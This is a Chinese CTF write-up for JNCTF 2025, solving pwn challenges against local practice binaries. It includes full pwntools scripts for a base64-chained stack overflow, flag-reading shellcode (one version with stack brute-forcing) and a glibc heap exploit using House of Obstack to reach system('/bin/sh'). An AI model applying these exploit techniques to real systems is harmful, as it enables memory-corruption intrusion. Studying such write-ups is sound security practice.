JNCTF 2025

·约 13 分钟

目录
  1. Signin
  2. 探索版
  3. ezbase
  4. shellcode_master?
  5. shellcode_master_revenge
  6. hvm

Signin

探索版

先跑起来看看,功能不多:

register    #注册
sign_in     #登录
sign_out    #登出
whoami      #输出用户名
help        #命令列表
quit        #退出

题目给了 Rust 源码,直接读代码就行(读不懂的部分可以问 AI)。隐藏的命令还有:

unregister      #注销
become_admin    #成为管理员
get_flag        #获得flag

直接 get_flag,提示 You are not signed in!——那就先注册再登录:

register asd 123    #用户名和密码随便给
sign_in asd 123     #登录刚才注册的用户

登录后 get_flag 变成 You are not an admin!;再试 become_admin,它要你确认是不是 root,回 y 得到 You are not root, you cannot do this!。

看起来用户名必须是 root,那就注册一个:

register root 123

回显 Name already exists!

先把它注销掉:

unregister root

成功了。再以 root 注册:

register root 123

再登录,然后走一遍 become_admin:

sign_in root 123

这次回显变成 You are now an admin!,再 get_flag 就到手了。

ezbase

程序开了 pie 保护

输入一段长度为 4k4k(k∈Z∗k \in Z^*)的 base64 密文,程序解码后输出明文和长度。

最多只读 0x40 字节,但解码缓冲区紧挨着输入缓冲区:输入写满 0x40 时,解码结果会被当成下一轮密文继续解,于是可以一路解码到溢出。溢出长度有限,不过题目给了后门函数,够用了。

做法是从溢出字节倒推 payload——需要解码三次才能覆盖到返回地址。

from pwn import *
import base64

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

backdoor = p16(0x1181)

back = base64.b64encode(b'a'*4+backdoor)
info('back: ' + back.decode())
back = back.ljust(0x24,b'=')
# 等号补充是为了停止解码,防止过度溢出

back = base64.b64encode(back)
info('back: ' + back.decode())
back = base64.b64encode(back)
info('back: ' + back.decode())

io = process('./ezbase')
gdb.attach(io, 'b *$rebase(0x1474)')

io.recvuntil(b'Please input your secret:')
io.sendline(back)

io.interactive()

shellcode_master?

常规 shellcode 题,只是几乎清空了所有寄存器;open / read / write 之前还得先找个可写段。

发现 shellcode 的 mmap 地址和可写段之间偏移固定,可以据此算出可写段地址。

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

io = process('./sc_master')
gdb.attach(io, 'b *$rebase(0x1569)')

# 0x39000就是一个固定偏移
shellcode = '''mov rsp, r15
sub rsp, 0x39000
add rsp, 0x300

push 0x67616c66
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
mov rax, 0
syscall

mov rbx, rsp
label:

mov rdi, 1
mov rsi, rbx
mov rdx, 0x1
mov rax, 1
syscall

add rbx, 1
cmp byte ptr [rbx], 0
jne label

'''
shellcode = asm(shellcode)
io.sendline(shellcode)
print(io.recvall())
io.interactive()

shellcode_master_revenge

按出题人的说法,上面的解法属于非预期,于是有了 revenge 版。

题目没大改,只是 mmap 的地址固定成 0x114514000。

可写段位置不再固定,只能爆破。

from pwn import *

# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

#0x7ffe30734000是本地某一次运行时的栈地址
shellcode = '''mov r12, 0x7ffe30734000
label1:

mov rdi, 0
mov rsi, r12
mov rdx, 0x1
mov rax, 0
syscall
sub r12, 0x1000
cmp rax, 0x1

jne label1

mov rsp,r12
push 0x67616c66
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
mov rax, 0
syscall

mov rbx, rsp
label2:

mov rdi, 1
mov rsi, rbx
mov rdx, 0x1
mov rax, 1
syscall

add rbx, 1
cmp byte ptr [rbx], 0
jne label2
'''

shellcode = asm(shellcode)

print(len(shellcode))

io = process('./sc_master_revenge')
gdb.attach(io, 'b *$rebase(0x155A)')

io.recvuntil(b'Give me your shellcode: ')
io.sendline(shellcode)

while not io.recv(timeout=0.02):
    print(b'a')
    io.sendline(b'1')

print(io.recvall())
io.interactive()

远程 io 很慢;其实还有优化空间,赛时没想到。

另外这是概率脚本:栈地址高于假设值时打不通。

hvm

VM PWN,需要手搓 opcode。

可能用到的 opcode:

code_map = {
    'rd': b'\xd1',
    'wt': b'\xd2',
    'new': b'\xd3',
    'free': b'\xd4',
    'display': b'\xd5',
    'xor': b'\xe3',
    'inverse': b'\xe4',
    'shl': b'\xe5',
    'add': b'\xf1',
    'sub': b'\xf2',
}

申请的 chunk 索引为 0-15,大小为 0x480-0x500

但读写没有长度检测:申请 0x480 的 chunk,却能访问到 0x500,这就是越界读写。

这题的环境是 glibc 2.25,可以用 House of obstack。

PS: opcode 是通过 read 函数读入的,有些字符无法读入

from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

libc = ELF('./libc.so.6')

io = process('./hvm')
# gdb.attach(io, 'b *$rebase(0x164b)')

libc_offset = 0x21b0f0
heap_offset = 0x480
IO_list_all = 0x21b680
IO_obstack_jump = 0x2173c0
system_offset = 0x50d70
binsh_offset = 0x1d8678
puts_offset = 0x80e50
ogg_offset = 0xebc81

payload = b'\xd3\x00\x80\x04'
payload += b'\xd3\x01\x80\x04'
payload += b'\xd3\x02\x90\x04'
payload += b'\xd4\x01'
payload += b'\xd3\x01\x90\x04'

'''
libc和heap的地址
'''
payload += b'\xd1\x00\x94\x04'
payload += b'\xd2\x00\x04\x00'
payload += b'\xd1\x00\x90\x04'
payload += b'\xf2'+p32(libc_offset)
payload += b'\xd2\x00\x00\x00'

payload += b'\xd1\x00\xa4\x04'
payload += b'\xd2\x00\x0c\x00'
payload += b'\xd1\x00\xa0\x04'
payload += b'\xf2'+p32(heap_offset)
payload += b'\xd2\x00\x08\x00'

# 准备chunk
payload += b'\xd3\x03\xa0\x04'
payload += b'\xd3\x04\x80\x04'  #防合并
payload += b'\xd3\x05\x80\x04'  #防合并

# 进行内容伪造
payload += b'\xd1\x00\x04\x00'
payload += b'\xd2\x02\x3c\x00'
payload += b'\xd1\x00\x00\x00'

payload += b'\xf1'+p32(binsh_offset)
payload += b'\xd2\x02\x38\x00'

payload += b'\xd1\x00\x04\x00'
payload += b'\xd2\x02\x2c\x00'

payload += b'\xd1\x00\x00\x00'
#以下就是绕过截断
payload += b'\xf1'+p32(system_offset-0x600)
payload += b'\xf1'+p32(0x600)
payload += b'\xd2\x02\x28\x00'

payload +=b'\xd1\x00\x04\x00'
payload +=b'\xd2\x02\xcc\x00'
payload +=b'\xd1\x00\x00\x00'
payload +=b'\xf1'+p32(IO_obstack_jump+0x20)
payload +=b'\xd2\x02\xc8\x00'

payload += b'\xd1\x00\x0c\x00'
payload += b'\xd2\x02\xd4\x00'
payload += b'\xd1\x00\x08\x00'
payload += b'\xf1'+p32(0x910)
payload += b'\xd2\x02\xd0\x00'

#large bins atk
payload += b'\xd4\x03'
payload += b'\xd3\x03\xb0\x04'
payload += b'\xd4\x02'

'''
edit
'''
payload += b'\xd1\x00\x04\x00'
payload += b'\xd2\x01\xbc\x04'
payload += b'\xd1\x00\x00\x00'
payload += b'\xf1'+p32(IO_list_all-0x20)
payload += b'\xd2\x01\xb8\x04'

payload += b'\xd3\x02\xc0\x04'

# 内容伪造的最后一部分
payload += b'\xd1\x00\x40\x00'
payload += b'\xf1'+p32(1)
payload += b'\xd2\x04\xd0\x04'

io.sendline(payload)

io.interactive()